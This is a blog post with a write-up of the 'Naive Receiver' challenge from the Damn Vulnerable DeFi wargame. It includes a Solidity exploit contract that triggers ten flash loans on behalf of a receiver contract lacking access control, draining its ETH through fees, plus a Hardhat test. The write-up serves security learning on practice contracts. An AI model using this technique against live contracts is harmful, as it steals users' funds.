June 1, 2023 | Written by Fatih Isik
Damn Vulnerable DeFi is the wargame to learn offensive security of DeFi smart contracts in Ethereum. Featuring flash loans, price oracles, governance, NFTs, DEXs, lending pools, smart contract wallets, timelocks, and more!
I will share all of my solutions to each challenge with detailed explanations in this GitHub repository.
There’s a pool with 1000 ETH in balance, offering flash loans. It has a fixed fee of 1 ETH. A user has deployed a contract with 10 ETH in balance. It’s capable of interacting with the pool and receiving flash loans of ETH. Take all ETH out of the user’s contract. If possible, in a single transaction.
The flash loan receiver contract does not have any access control overonFlashLoan() function. Anyone can call the function and take flash loans behalf of the contract.
To solve this challenge we will deploy a custom contract that takes 10 flash loans behalf of the flash loan receiver contract. Total amount of 10 ETH in fees (1 ETH for each flash loan) will be paid by the flash loan receiver contract. At the end of the transaction all ETH in the contract is going to be drained.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol";
interface INaiveReceiverLenderPool {
function flashLoan(
IERC3156FlashBorrower receiver,
address token,
uint256 amount,
bytes calldata data
) external returns (bool);
}
contract Exploit_NaiveReceiver {
address public constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
function exploit(
INaiveReceiverLenderPool pool,
IERC3156FlashBorrower receiver
) public {
for (uint256 i = 0; i < 10; i++) {
pool.flashLoan(receiver, ETH, 1 ether, "x0");
}
}
}
Test file
it("Exploit", async function () {
const attacker = await (
await ethers.getContractFactory("Exploit_NaiveReceiver", player)
).deploy();
attacker.exploit(pool.address, receiver.address);
});